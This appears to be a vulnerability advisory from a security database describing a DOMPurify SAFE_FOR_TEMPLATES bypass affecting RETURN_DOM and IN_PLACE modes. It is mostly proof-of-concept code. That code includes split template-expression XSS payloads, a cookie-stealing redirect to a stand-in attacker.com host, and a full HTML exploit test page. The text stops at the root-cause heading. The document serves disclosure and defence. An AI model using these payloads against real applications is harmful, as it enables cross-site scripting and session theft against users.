Vulnerability Database

352,427

Total vulnerabilities in the database

DOMPurify: SAFE_FOR_TEMPLATES bypass - template expressions survive sanitization inside <template> content when using DOM output modes β€” dompurify

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Summary

When DOMPurify is configured with both SAFE_FOR_TEMPLATES: true and RETURN_DOM: true (or IN_PLACE: true), an attacker can inject template expressions, such as ${evil}, {{evil}}, or &lt;%evil%&gt;, that survive the sanitization pass inside &lt;template&gt; element content. This bypasses the explicit purpose of SAFE_FOR_TEMPLATES, which is to prevent template engine evaluation of user-supplied content.

> Note: The string output path is not affected. Only the DOM return paths (RETURN_DOM: true, RETURN_DOM_FRAGMENT: true, IN_PLACE: true) are vulnerable.


Description

Background

SAFE_FOR_TEMPLATES is designed to strip {{ }}, ${ }, and &lt;% %&gt; expressions from sanitized output so that downstream template engines do not evaluate user-controlled content. The feature operates through two mechanisms:

  1. Per-node scrubbing (_sanitizeElements, src/purify.ts:1403), scrubs individual text nodes during the main sanitization walk.
  2. Final normalization pass (_scrubTemplateExpressions, src/purify.ts:1115), calls node.normalize() to merge adjacent text nodes, then walks the merged nodes and strips any expressions that only appeared after merging.

The Gap

_scrubTemplateExpressions uses a standard NodeIterator rooted at the output body:

// src/purify.ts:1117 const walker = createNodeIterator.call( node.ownerDocument || node, node, NodeFilter.SHOW_TEXT | NodeFilter.SHOW_COMMENT | ..., null );

Per the DOM specification, a NodeIterator does not descend into &lt;template&gt;.content. The template element's content is a separate DocumentFragment that lives outside the normal child-node tree. For the same reason, node.normalize() (called on line 1116) also does not normalize text nodes inside &lt;template&gt;.content.

This means the final normalization and scrub pass, the only pass that catches expressions formed by merging split text nodes, never runs on &lt;template&gt; content.

How Split Text Nodes Are Created

When DOMPurify removes a disallowed element with KEEP_CONTENT: true (the default), it moves the element's text children into the parent node. This is the standard code path at src/purify.ts:1361–1373:

if (KEEP_CONTENT &amp;&amp; !FORBID_CONTENTS[tagName]) { const parentNode = getParentNode(currentNode); const childNodes = getChildNodes(currentNode); if (childNodes &amp;&amp; parentNode) { for (let i = childCount - 1; i &gt;= 0; --i) { const childClone = cloneNode(childNodes[i], true); parentNode.insertBefore(childClone, getNextSibling(currentNode)); } } }

If the removed elements were adjacent siblings inside &lt;template&gt; content, their extracted text nodes end up as adjacent text nodes in the template content fragment. Each individual text node is scrubbed by _sanitizeElements, but since $ and {evil} do not match any expression regex on their own, neither is modified.

The code comment at src/purify.ts:1100 explicitly acknowledges the threat class:

> "which only form after text-node normalization (e.g. fragments split across stripped elements) cannot survive into a template-evaluating framework."

The implementation guards against this on the main body, but the guard is not applied to &lt;template&gt; content.


Proof of Concept

Why the Split Works

The bypass relies on splitting ${...} across two adjacent custom elements so that neither fragment matches any DOMPurify regex on its own:

| Fragment | Against TMPLIT_EXPR /\${[\w\W]*/g | Against MUSTACHE_EXPR /{{[\w\W]*\|^[\w\W]*}}/g | Result | |---|---|---|---| | $ | Requires ${ - no { follows | No {{ or }} | Survives | | {alert(document.domain)} | Requires leading $ - absent | No {{, ends with single } not }} | Survives | | ${alert(document.domain)} | Full match - would be stripped | - | Stripped if seen whole |

DOMPurify only sees each fragment in isolation. It never merges them before checking, so the expression is never detected.


PoC 1 - XSS via alert() (baseline confirmation)

// Attacker input - splits &quot;${alert(document.domain)}&quot; across two custom elements. // Custom elements are not in DOMPurify&#039;s default ALLOWED_TAGS and are removed, // but their text content is kept (KEEP_CONTENT: true is the default). const dirty = &#039;&lt;template&gt;&#039; + &#039;&lt;x-split-1&gt;$&lt;/x-split-1&gt;&#039; + &#039;&lt;x-split-2&gt;{alert(document.domain)}&lt;/x-split-2&gt;&#039; + &#039;&lt;/template&gt;&#039;; // Developer sanitizes with SAFE_FOR_TEMPLATES, trusting it strips ${...} const sanitized = DOMPurify.sanitize(dirty, { RETURN_DOM: true, SAFE_FOR_TEMPLATES: true, }); // Inspect what survived inside the &lt;template&gt; const tmpl = sanitized.querySelector(&#039;template&#039;); console.log([...tmpl.content.childNodes].map(n =&gt; n.nodeValue)); // [&quot;$&quot;, &quot;{alert(document.domain)}&quot;] &lt;-- two separate text nodes, both &quot;clean&quot; // Frameworks (lit-html, Angular, custom renderers) routinely call normalize() // before reading template content. This merges the adjacent nodes: tmpl.content.normalize(); console.log(tmpl.content.textContent); // &quot;${alert(document.domain)}&quot; &lt;-- fully formed expression, past the sanitizer // Any template-literal evaluator now fires XSS: const expr = tmpl.content.textContent; new Function(`return \`${expr}\``)(); // !! alert(document.domain) executes !!
// Splits &quot;${document.location=&#039;//attacker.com/?c=&#039;+document.cookie}&quot; // &quot;{document.location=...}&quot; ends with a single &quot;}&quot; β€” does NOT match // MUSTACHE_EXPR&#039;s &quot;^[\w\W]*}}&quot; (requires double &quot;}}&quot;), so it survives. const dirty = &#039;&lt;template&gt;&#039; + &#039;&lt;x-a&gt;$&lt;/x-a&gt;&#039; + &#039;&lt;x-b&gt;{document.location=&quot;//attacker.com/?c=&quot;+document.cookie}&lt;/x-b&gt;&#039; + &#039;&lt;/template&gt;&#039;; const sanitized = DOMPurify.sanitize(dirty, { RETURN_DOM: true, SAFE_FOR_TEMPLATES: true, }); const tmpl = sanitized.querySelector(&#039;template&#039;); tmpl.content.normalize(); console.log(tmpl.content.textContent); // &quot;${document.location=&quot;//attacker.com/?c=&quot;+document.cookie}&quot; // Template engine evaluates it - victim&#039;s browser makes the request: new Function(`return \`${tmpl.content.textContent}\``)(); // !! Redirects victim to attacker.com with their full cookie string !! // e.g. https://attacker.com/?c=session=abc123;auth_token=xyz789

PoC 3 - End-to-end: realistic application context

This shows the full path in an application that uses DOMPurify to sanitize user-submitted rich text before rendering it with a custom template engine:

&lt;!-- index.html - the vulnerable application --&gt; &lt;div id=&quot;output&quot;&gt;&lt;/div&gt; &lt;script type=&quot;module&quot;&gt; import DOMPurify from &#039;./dist/purify.es.mjs&#039;; // Simulates fetching and rendering user-submitted comment async function renderComment(userHtml) { // Developer correctly uses SAFE_FOR_TEMPLATES to protect the template engine const dom = DOMPurify.sanitize(userHtml, { RETURN_DOM: true, SAFE_FOR_TEMPLATES: true, }); // Application iterates &lt;template&gt; elements and evaluates their content // (common pattern in component-based frameworks) dom.querySelectorAll(&#039;template&#039;).forEach(tmpl =&gt; { tmpl.content.normalize(); // standard DOM housekeeping const content = tmpl.content.textContent; // Application uses template literals to interpolate user content into UI const rendered = new Function(&#039;user&#039;, `return \`${content}\``)({ name: &#039;World&#039; }); document.getElementById(&#039;output&#039;).innerHTML += rendered; }); } // Attacker-supplied comment content const attackerComment = &#039;&lt;template&gt;&#039; + &#039;&lt;x-a&gt;$&lt;/x-a&gt;&#039; + &#039;&lt;x-b&gt;{alert(&quot;XSS: &quot; + document.cookie)}&lt;/x-b&gt;&#039; + &#039;&lt;/template&gt;&#039;; // Developer believes SAFE_FOR_TEMPLATES makes this safe β€” it does not for RETURN_DOM renderComment(attackerComment); // !! XSS fires, alert pops with session cookies !! &lt;/script&gt;

Observed output: alert(&quot;XSS: &quot; + document.cookie) executes in the victim's browser context, leaking session tokens to the attacker.


PoC 4 - IN_PLACE mode (DOM input path)

// Applicable when the application sanitizes DOM nodes directly // (e.g., content loaded into an iframe or received from a WebSocket) const container = document.createElement(&#039;div&#039;); const tmpl = document.createElement(&#039;template&#039;); // Adjacent text nodes - these would never appear in HTML-parsed content, // but CAN appear in programmatically constructed DOM or WebSocket messages // that are deserialised into DOM nodes before sanitisation. tmpl.content.appendChild(document.createTextNode(&#039;$&#039;)); tmpl.content.appendChild(document.createTextNode(&#039;{alert(document.domain)}&#039;)); container.appendChild(tmpl); // Sanitize in-place with SAFE_FOR_TEMPLATES - expected to strip all ${...} DOMPurify.sanitize(container, { IN_PLACE: true, SAFE_FOR_TEMPLATES: true }); // Neither text node was modified - each passed the regex check individually container.querySelector(&#039;template&#039;).content.normalize(); console.log(container.querySelector(&#039;template&#039;).content.textContent); // &quot;${alert(document.domain)}&quot; &lt;-- survived in-place sanitization new Function(`return \`${container.querySelector(&#039;template&#039;).content.textContent}\``)(); // !! XSS fires !!

HTML File for testing

&lt;!DOCTYPE html&gt; &lt;html lang=&quot;en&quot;&gt; &lt;head&gt; &lt;meta charset=&quot;UTF-8&quot; /&gt; &lt;title&gt;DOMPurify SAFE_FOR_TEMPLATES Bypass - PoC&lt;/title&gt; &lt;script src=&quot;dist/purify.js&quot;&gt;&lt;/script&gt; &lt;style&gt; * { box-sizing: border-box; margin: 0; padding: 0; } body { font-family: &#039;Segoe UI&#039;, system-ui, sans-serif; background: #0d1117; color: #e6edf3; padding: 32px; } h1 { font-size: 1.4rem; color: #f85149; margin-bottom: 6px; } .subtitle { color: #8b949e; font-size: 0.9rem; margin-bottom: 32px; } .card { background: #161b22; border: 1px solid #30363d; border-radius: 8px; margin-bottom: 24px; overflow: hidden; } .card-header { display: flex; align-items: center; gap: 10px; padding: 14px 20px; border-bottom: 1px solid #30363d; background: #1c2128; } .badge { font-size: 0.72rem; font-weight: 700; padding: 2px 8px; border-radius: 4px; text-transform: uppercase; letter-spacing: 0.05em; } .badge-run { background: #1f6feb; color: #fff; } .badge-pass { background: #238636; color: #fff; } .badge-fail { background: #da3633; color: #fff; } .badge-warn { background: #9e6a03; color: #fff; } .card-title { font-size: 0.95rem; font-weight: 600; } .card-body { padding: 20px; } label { font-size: 0.78rem; color: #8b949e; display: block; margin-bottom: 6px; } pre { background: #0d1117; border: 1px solid #30363d; border-radius: 6px; padding: 14px; font-size: 0.82rem; line-height: 1.6; overflow-x: auto; margin-bottom: 14px; white-space: pre-wrap; word-break: break-all; } pre.result { border-color: #238636; background: #0a1a0f; } pre.escaped { border-color: #da3633; background: #1a0a0a; } pre.highlight { border-color: #f85149; color: #f85149; font-weight: bold; } .grid { display: grid; grid-template-columns: 1fr 1fr; gap: 14px; } @media (max-width: 700px) { .grid { grid-template-columns: 1fr; } } .arrow { text-align: center; font-size: 1.4rem; color: #8b949e; margin: 4px 0; } .xss-banner { display: none; background: #da3633; color: #fff; text-align: center; padding: 16px; font-size: 1.1rem; font-weight: 700; border-radius: 6px; margin-bottom: 24px; letter-spacing: 0.03em; } button { background: #238636; color: #fff; border: none; padding: 10px 22px; border-radius: 6px; font-size: 0.9rem; font-weight: 600; cursor: pointer; margin-right: 10px; margin-bottom: 8px; } button:hover { background: #2ea043; } button.danger { background: #da3633; } button.danger:hover { background: #f85149; } .note { background: #161b22; border-left: 3px solid #9e6a03; padding: 12px 16px; font-size: 0.82rem; color: #e3b341; border-radius: 0 6px 6px 0; margin-top: 14px; } #log { background: #0d1117; border: 1px solid #30363d; border-radius: 6px; padding: 14px; font-size: 0.8rem; font-family: monospace; min-height: 60px; max-height: 300px; overflow-y: auto; line-height: 1.8; } .log-ok { color: #3fb950; } .log-fail { color: #f85149; } .log-info { color: #8b949e; } .log-warn { color: #e3b341; } &lt;/style&gt; &lt;/head&gt; &lt;body&gt; &lt;h1&gt;πŸ”΄ DOMPurify 3.4.7 - SAFE_FOR_TEMPLATES Bypass&lt;/h1&gt; &lt;p class=&quot;subtitle&quot;&gt; CVE candidate Β· Template expression injection via &amp;lt;template&amp;gt; content Β· Affects: &lt;code&gt;RETURN_DOM + SAFE_FOR_TEMPLATES&lt;/code&gt; and &lt;code&gt;IN_PLACE + SAFE_FOR_TEMPLATES&lt;/code&gt; &lt;/p&gt; &lt;div id=&quot;xss-banner&quot; class=&quot;xss-banner&quot;&gt; ⚠️ XSS CONFIRMED - Expression executed in this page&#039;s context &lt;/div&gt; &lt;!-- ── Controls ─────────────────────────────────────────── --&gt; &lt;div class=&quot;card&quot;&gt; &lt;div class=&quot;card-header&quot;&gt; &lt;span class=&quot;badge badge-run&quot;&gt;Controls&lt;/span&gt; &lt;span class=&quot;card-title&quot;&gt;Run individual test cases&lt;/span&gt; &lt;/div&gt; &lt;div class=&quot;card-body&quot;&gt; &lt;button onclick=&quot;runAll()&quot;&gt;β–Ά Run all tests&lt;/button&gt; &lt;button onclick=&quot;runPoC1()&quot;&gt;PoC 1 - alert()&lt;/button&gt; &lt;button onclick=&quot;runPoC2()&quot;&gt;PoC 2 - cookie exfil&lt;/button&gt; &lt;button onclick=&quot;runPoC3()&quot;&gt;PoC 3 - IN_PLACE&lt;/button&gt; &lt;button onclick=&quot;runControl()&quot;&gt;Control - string output (should block)&lt;/button&gt; &lt;div class=&quot;note&quot;&gt; PoC 1 uses &lt;code&gt;confirm()&lt;/code&gt; instead of &lt;code&gt;alert()&lt;/code&gt; so the page doesn&#039;t need a dismiss click to continue. Watch the red banner at the top. &lt;/div&gt; &lt;/div&gt; &lt;/div&gt; &lt;!-- ── PoC 1 ─────────────────────────────────────────────── --&gt; &lt;div class=&quot;card&quot; id=&quot;card-poc1&quot;&gt; &lt;div class=&quot;card-header&quot;&gt; &lt;span class=&quot;badge badge-run&quot; id=&quot;badge-poc1&quot;&gt;PENDING&lt;/span&gt; &lt;span class=&quot;card-title&quot;&gt;PoC 1 - XSS via confirm() Β· RETURN_DOM mode&lt;/span&gt; &lt;/div&gt; &lt;div class=&quot;card-body&quot;&gt; &lt;div class=&quot;grid&quot;&gt; &lt;div&gt; &lt;label&gt;ATTACKER INPUT - splits &lt;code&gt;${&quot;{confirm(...)}&quot;}&lt;/code&gt; across two custom elements&lt;/label&gt; &lt;pre id=&quot;input-poc1&quot;&gt;&lt;/pre&gt; &lt;/div&gt; &lt;div&gt; &lt;label&gt;AFTER DOMPurify.sanitize() - what survived in template.content&lt;/label&gt; &lt;pre class=&quot;result&quot; id=&quot;nodes-poc1&quot;&gt;&lt;/pre&gt; &lt;/div&gt; &lt;/div&gt; &lt;div class=&quot;arrow&quot;&gt;↓ template.content.normalize() ↓&lt;/div&gt; &lt;label&gt;MERGED TEXT NODE - fully formed expression after normalization&lt;/label&gt; &lt;pre class=&quot;highlight&quot; id=&quot;merged-poc1&quot;&gt;&lt;/pre&gt; &lt;label&gt;EXECUTION RESULT&lt;/label&gt; &lt;pre id=&quot;exec-poc1&quot;&gt;Not run yet&lt;/pre&gt; &lt;/div&gt; &lt;/div&gt; &lt;!-- ── PoC 2 ─────────────────────────────────────────────── --&gt; &lt;div class=&quot;card&quot; id=&quot;card-poc2&quot;&gt; &lt;div class=&quot;card-header&quot;&gt; &lt;span class=&quot;badge badge-run&quot; id=&quot;badge-poc2&quot;&gt;PENDING&lt;/span&gt; &lt;span class=&quot;card-title&quot;&gt;PoC 2 - Cookie exfiltration Β· RETURN_DOM mode&lt;/span&gt; &lt;/div&gt; &lt;div class=&quot;card-body&quot;&gt; &lt;div class=&quot;grid&quot;&gt; &lt;div&gt; &lt;label&gt;ATTACKER INPUT - exfil payload split across custom elements&lt;/label&gt; &lt;pre id=&quot;input-poc2&quot;&gt;&lt;/pre&gt; &lt;/div&gt; &lt;div&gt; &lt;label&gt;INDIVIDUAL TEXT NODES after sanitization (each &quot;clean&quot;)&lt;/label&gt; &lt;pre class=&quot;result&quot; id=&quot;nodes-poc2&quot;&gt;&lt;/pre&gt; &lt;/div&gt; &lt;/div&gt; &lt;div class=&quot;arrow&quot;&gt;↓ template.content.normalize() ↓&lt;/div&gt; &lt;label&gt;MERGED EXPRESSION - what a template engine would evaluate&lt;/label&gt; &lt;pre class=&quot;highlight&quot; id=&quot;merged-poc2&quot;&gt;&lt;/pre&gt; &lt;label&gt;SIMULATED EXECUTION (fetch URL that would be called)&lt;/label&gt; &lt;pre id=&quot;exec-poc2&quot;&gt;Not run yet&lt;/pre&gt; &lt;div class=&quot;note&quot;&gt; Real execution would redirect the victim to &lt;code&gt;attacker.com&lt;/code&gt; carrying the session cookie. This PoC constructs the URL without actually sending it. &lt;/div&gt; &lt;/div&gt; &lt;/div&gt; &lt;!-- ── PoC 3 ─────────────────────────────────────────────── --&gt; &lt;div class=&quot;card&quot; id=&quot;card-poc3&quot;&gt; &lt;div class=&quot;card-header&quot;&gt; &lt;span class=&quot;badge badge-run&quot; id=&quot;badge-poc3&quot;&gt;PENDING&lt;/span&gt; &lt;span class=&quot;card-title&quot;&gt;PoC 3 - XSS Β· IN_PLACE mode (DOM node input)&lt;/span&gt; &lt;/div&gt; &lt;div class=&quot;card-body&quot;&gt; &lt;div class=&quot;grid&quot;&gt; &lt;div&gt; &lt;label&gt;ATTACKER PROVIDES - a DOM node with programmatically split text nodes&lt;/label&gt; &lt;pre id=&quot;input-poc3&quot;&gt;&lt;/pre&gt; &lt;/div&gt; &lt;div&gt; &lt;label&gt;AFTER IN_PLACE sanitization - text nodes unchanged&lt;/label&gt; &lt;pre class=&quot;result&quot; id=&quot;nodes-poc3&quot;&gt;&lt;/pre&gt; &lt;/div&gt; &lt;/div&gt; &lt;div class=&quot;arrow&quot;&gt;↓ template.content.normalize() ↓&lt;/div&gt; &lt;label&gt;MERGED EXPRESSION&lt;/label&gt; &lt;pre class=&quot;highlight&quot; id=&quot;merged-poc3&quot;&gt;&lt;/pre&gt; &lt;label&gt;EXECUTION RESULT&lt;/label&gt; &lt;pre id=&quot;exec-poc3&quot;&gt;Not run yet&lt;/pre&gt; &lt;/div&gt; &lt;/div&gt; &lt;!-- ── Control ───────────────────────────────────────────── --&gt; &lt;div class=&quot;card&quot; id=&quot;card-ctrl&quot;&gt; &lt;div class=&quot;card-header&quot;&gt; &lt;span class=&quot;badge badge-run&quot; id=&quot;badge-ctrl&quot;&gt;PENDING&lt;/span&gt; &lt;span class=&quot;card-title&quot;&gt;Control - string output (default) MUST block the payload&lt;/span&gt; &lt;/div&gt; &lt;div class=&quot;card-body&quot;&gt; &lt;label&gt;Same attacker input, but sanitized WITHOUT RETURN_DOM (string output path)&lt;/label&gt; &lt;pre id=&quot;input-ctrl&quot;&gt;&lt;/pre&gt; &lt;div class=&quot;arrow&quot;&gt;↓ DOMPurify.sanitize() - string path hits the regex scrub at line 2067 ↓&lt;/div&gt; &lt;label&gt;OUTPUT STRING - expression should be stripped&lt;/label&gt; &lt;pre id=&quot;output-ctrl&quot;&gt;Not run yet&lt;/pre&gt; &lt;div class=&quot;note&quot;&gt; The string output path is NOT vulnerable because &lt;code&gt;body.innerHTML&lt;/code&gt; serialises the template content into a flat string where the full &lt;code&gt;${&quot;{...}&quot;}&lt;/code&gt; expression is visible and the final regex scrub catches it. &lt;/div&gt; &lt;/div&gt; &lt;/div&gt; &lt;!-- ── Log ───────────────────────────────────────────────── --&gt; &lt;div class=&quot;card&quot;&gt; &lt;div class=&quot;card-header&quot;&gt; &lt;span class=&quot;badge badge-run&quot;&gt;Log&lt;/span&gt; &lt;span class=&quot;card-title&quot;&gt;Test output&lt;/span&gt; &lt;/div&gt; &lt;div class=&quot;card-body&quot;&gt; &lt;div id=&quot;log&quot;&gt;&lt;/div&gt; &lt;/div&gt; &lt;/div&gt; &lt;script&gt; // ── Helpers ──────────────────────────────────────────────────────────────── let xssConfirmed = false; function log(msg, type = &#039;info&#039;) { const el = document.getElementById(&#039;log&#039;); const line = document.createElement(&#039;div&#039;); line.className = &#039;log-&#039; + type; line.textContent = &#039;[&#039; + new Date().toLocaleTimeString() + &#039;] &#039; + msg; el.appendChild(line); el.scrollTop = el.scrollHeight; } function setBadge(id, status) { const el = document.getElementById(&#039;badge-&#039; + id); el.textContent = status; el.className = &#039;badge &#039; + { PASS: &#039;badge-fail&#039;, // &quot;PASS&quot; here means the attack succeeded (bad for security) BLOCK: &#039;badge-pass&#039;, // &quot;BLOCK&quot; means DOMPurify correctly blocked it PENDING: &#039;badge-run&#039;, ERROR: &#039;badge-warn&#039;, }[status]; } function markXSS(poc) { if (!xssConfirmed) { xssConfirmed = true; document.getElementById(&#039;xss-banner&#039;).style.display = &#039;block&#039;; } log(&#039;πŸ”΄ XSS CONFIRMED in &#039; + poc + &#039; - expression executed in page context&#039;, &#039;fail&#039;); } // ── PoC 1: RETURN_DOM + alert ────────────────────────────────────────────── function runPoC1() { log(&#039;Running PoC 1 - RETURN_DOM + confirm()...&#039;, &#039;info&#039;); // IMPORTANT: // Build a REAL template DOM node with split TEXT nodes. // HTML parsing would merge adjacent text automatically, // so we construct the DOM programmatically. const container = document.createElement(&#039;div&#039;); const tmpl = document.createElement(&#039;template&#039;); tmpl.content.appendChild(document.createTextNode(&#039;$&#039;)); tmpl.content.appendChild( document.createTextNode( &#039;{confirm(&quot;XSS - DOMPurify SAFE_FOR_TEMPLATES bypass\\nExpression executed in: &quot; + document.domain)}&#039; ) ); container.appendChild(tmpl); document.getElementById(&#039;input-poc1&#039;).textContent = &#039;template.content.childNodes[0].data = &quot;$&quot;\\n&#039; + &#039;template.content.childNodes[1].data = &quot;{confirm(...)}&quot;&#039;; // Sanitize the DOM node itself const sanitized = DOMPurify.sanitize(container, { RETURN_DOM: true, SAFE_FOR_TEMPLATES: true, }); const tmplAfter = sanitized.querySelector(&#039;template&#039;); if (!tmplAfter) { document.getElementById(&#039;exec-poc1&#039;).textContent = &#039;Template element removed during sanitization&#039;; setBadge(&#039;poc1&#039;, &#039;ERROR&#039;); return; } const nodesBefore = [...tmplAfter.content.childNodes].map( n =&gt; JSON.stringify(n.nodeValue) ); document.getElementById(&#039;nodes-poc1&#039;).textContent = &#039;childNodes[0].data = &#039; + nodesBefore[0] + &#039;\\n&#039; + &#039;childNodes[1].data = &#039; + nodesBefore[1] + &#039;\\n\\n&#039; + &#039;β†’ Neither fragment matched individually.&#039;; log( &#039;PoC 1: Text nodes after sanitization: &#039; + nodesBefore.join(&#039;, &#039;), &#039;warn&#039; ); // Merge text nodes tmplAfter.content.normalize(); const merged = tmplAfter.content.textContent; document.getElementById(&#039;merged-poc1&#039;).textContent = merged; log(&#039;PoC 1: After normalize() - merged text: &#039; + merged, &#039;warn&#039;); try { const result = new Function(&#039;return `&#039; + merged + &#039;`&#039;)(); document.getElementById(&#039;exec-poc1&#039;).textContent = &#039;βœ” Expression executed successfully\\n&#039; + &#039;Returned: &#039; + result; setBadge(&#039;poc1&#039;, &#039;PASS&#039;); markXSS(&#039;PoC 1&#039;); } catch (e) { document.getElementById(&#039;exec-poc1&#039;).textContent = &#039;Error: &#039; + e.message; setBadge(&#039;poc1&#039;, &#039;ERROR&#039;); log(&#039;PoC 1 error: &#039; + e.message, &#039;warn&#039;); } } // ── PoC 2: cookie exfiltration ───────────────────────────────────────────── function runPoC2() { log(&#039;Running PoC 2 - cookie exfiltration...&#039;, &#039;info&#039;); // Fake cookie for demonstration document.cookie = &#039;session=DEADBEEF_SECRET_TOKEN; path=/&#039;; // IMPORTANT: // Build REAL split text nodes programmatically. // Do NOT rely on HTML parsing. const container = document.createElement(&#039;div&#039;); const tmpl = document.createElement(&#039;template&#039;); tmpl.content.appendChild(document.createTextNode(&#039;$&#039;)); tmpl.content.appendChild( document.createTextNode( &#039;{document.location=&quot;//attacker.com/steal?c=&quot;+document.cookie}&#039; ) ); container.appendChild(tmpl); document.getElementById(&#039;input-poc2&#039;).textContent = &#039;template.content.childNodes[0].data = &quot;$&quot;\\n&#039; + &#039;template.content.childNodes[1].data = &quot;{document.location=...}&quot;&#039;; // Sanitize DOM node const sanitized = DOMPurify.sanitize(container, { RETURN_DOM: true, SAFE_FOR_TEMPLATES: true, }); const tmplAfter = sanitized.querySelector(&#039;template&#039;); if (!tmplAfter) { document.getElementById(&#039;exec-poc2&#039;).textContent = &#039;Template element removed during sanitization&#039;; setBadge(&#039;poc2&#039;, &#039;ERROR&#039;); log(&#039;PoC 2: template element missing after sanitize()&#039;, &#039;warn&#039;); return; } const nodes = [...tmplAfter.content.childNodes].map( n =&gt; JSON.stringify(n.nodeValue) ); document.getElementById(&#039;nodes-poc2&#039;).textContent = &#039;Node 0: &#039; + nodes[0] + &#039;\\n&#039; + &#039;Node 1: &#039; + nodes[1] + &#039;\\n\\n&#039; + &#039;β†’ Neither fragment individually matches template-expression regexes.&#039;; log(&#039;PoC 2: Nodes after sanitize: &#039; + nodes.join(&#039;, &#039;), &#039;warn&#039;); // Merge adjacent text nodes tmplAfter.content.normalize(); const merged = tmplAfter.content.textContent; document.getElementById(&#039;merged-poc2&#039;).textContent = merged; log(&#039;PoC 2: Merged expression: &#039; + merged, &#039;warn&#039;); // Simulate framework evaluation try { new Function(&#039;return `&#039; + merged + &#039;`&#039;)(); const cookieValue = document.cookie; const stealUrl = &#039;//attacker.com/steal?c=&#039; + encodeURIComponent(cookieValue); document.getElementById(&#039;exec-poc2&#039;).textContent = &#039;βœ” Expression successfully evaluated\\n\\n&#039; + &#039;Would redirect victim to:\\n&#039; + stealUrl + &#039;\\n\\n&#039; + &#039;Cookie exposed:\\n&#039; + cookieValue; setBadge(&#039;poc2&#039;, &#039;PASS&#039;); markXSS(&#039;PoC 2&#039;); log(&#039;PoC 2: Would exfiltrate cookie β†’ &#039; + stealUrl, &#039;fail&#039;); } catch (e) { document.getElementById(&#039;exec-poc2&#039;).textContent = &#039;Error: &#039; + e.message; setBadge(&#039;poc2&#039;, &#039;ERROR&#039;); log(&#039;PoC 2 error: &#039; + e.message, &#039;warn&#039;); } } // ── PoC 3: IN_PLACE mode ─────────────────────────────────────────────────── function runPoC3() { log(&#039;Running PoC 3 - IN_PLACE mode...&#039;, &#039;info&#039;); // Build DOM node manually (simulates attacker-controlled DOM input, // e.g. content parsed from a WebSocket message or an iframe) const container = document.createElement(&#039;div&#039;); const tmplEl = document.createElement(&#039;template&#039;); // Two separate text nodes - HTML parser merges them, but programmatic // DOM construction keeps them split. This is the IN_PLACE attack surface. tmplEl.content.appendChild(document.createTextNode(&#039;$&#039;)); tmplEl.content.appendChild(document.createTextNode(&#039;{confirm(&quot;XSS via IN_PLACE - domain: &quot; + document.domain)}&#039;)); container.appendChild(tmplEl); document.getElementById(&#039;input-poc3&#039;).textContent = &#039;// Programmatically constructed DOM node:\n&#039; + &#039;template.content.childNodes[0].data = &quot;$&quot;\n&#039; + &#039;template.content.childNodes[1].data = &quot;{confirm(\\&quot;XSS via IN_PLACE...\\&quot;)}&quot;\n\n&#039; + &#039;// Passed to DOMPurify.sanitize(container, { IN_PLACE: true, SAFE_FOR_TEMPLATES: true })&#039;; // Sanitize IN_PLACE - SAFE_FOR_TEMPLATES should strip the expression DOMPurify.sanitize(container, { IN_PLACE: true, SAFE_FOR_TEMPLATES: true, }); const tmplAfter = container.querySelector(&#039;template&#039;); const nodesAfter = [...tmplAfter.content.childNodes].map(n =&gt; n.nodeValue); document.getElementById(&#039;nodes-poc3&#039;).textContent = &#039;childNodes[0].data = &#039; + JSON.stringify(nodesAfter[0]) + &#039;\n&#039; + &#039;childNodes[1].data = &#039; + JSON.stringify(nodesAfter[1]) + &#039;\n\n&#039; + &#039;β†’ _scrubTemplateExpressions() did not enter template.content\n&#039; + &#039;β†’ Both nodes unchanged after sanitization.&#039;; log(&#039;PoC 3: Nodes after IN_PLACE sanitize: &#039; + nodesAfter.map(n =&gt; JSON.stringify(n)).join(&#039;, &#039;), &#039;warn&#039;); tmplAfter.content.normalize(); const merged = tmplAfter.content.textContent; document.getElementById(&#039;merged-poc3&#039;).textContent = merged; log(&#039;PoC 3: Merged: &#039; + merged, &#039;warn&#039;); try { const result = new Function(&#039;return `&#039; + merged + &#039;`&#039;)(); document.getElementById(&#039;exec-poc3&#039;).textContent = &#039;βœ” new Function() returned: &#039; + result + &#039;\n&#039; + &#039;confirm() dialog shown. XSS confirmed via IN_PLACE mode.&#039;; setBadge(&#039;poc3&#039;, &#039;PASS&#039;); markXSS(&#039;PoC 3&#039;); } catch (e) { document.getElementById(&#039;exec-poc3&#039;).textContent = &#039;Error: &#039; + e.message; setBadge(&#039;poc3&#039;, &#039;ERROR&#039;); log(&#039;PoC 3 error: &#039; + e.message, &#039;warn&#039;); } } // ── Control: string output must block ───────────────────────────────────── function runControl() { log(&#039;Running control - string output path (should block)...&#039;, &#039;info&#039;); const dirty = &#039;&lt;template&gt;&#039; + &#039;&lt;x-split-1&gt;$&lt;/x-split-1&gt;&#039; + &#039;&lt;x-split-2&gt;{confirm(&quot;this should never fire&quot;)}&lt;/x-split-2&gt;&#039; + &#039;&lt;/template&gt;&#039;; document.getElementById(&#039;input-ctrl&#039;).textContent = dirty; // Default string output - NOT using RETURN_DOM const sanitized = DOMPurify.sanitize(dirty, { SAFE_FOR_TEMPLATES: true, // RETURN_DOM intentionally omitted - string path is safe }); document.getElementById(&#039;output-ctrl&#039;).textContent = sanitized; const blocked = !sanitized.includes(&#039;${&#039;) &amp;&amp; !sanitized.includes(&#039;{confirm&#039;); if (blocked) { setBadge(&#039;ctrl&#039;, &#039;BLOCK&#039;); log(&#039;Control: String output correctly stripped the expression. Output: &#039; + sanitized, &#039;ok&#039;); } else { setBadge(&#039;ctrl&#039;, &#039;PASS&#039;); // unexpected log(&#039;Control: UNEXPECTED - expression survived string output path: &#039; + sanitized, &#039;fail&#039;); } } // ── Run all ──────────────────────────────────────────────────────────────── function runAll() { document.getElementById(&#039;log&#039;).innerHTML = &#039;&#039;; xssConfirmed = false; document.getElementById(&#039;xss-banner&#039;).style.display = &#039;none&#039;; log(&#039;=== Starting full test run ===&#039;, &#039;info&#039;); runPoC1(); runPoC2(); runPoC3(); runControl(); log(&#039;=== Test run complete ===&#039;, &#039;info&#039;); } &lt;/script&gt; &lt;/body&gt; &lt;/html&gt;

Root Cause

_scrubTemplateExpressions (src/purify.ts:1115) does not recurse into &lt;template&gt;.content:

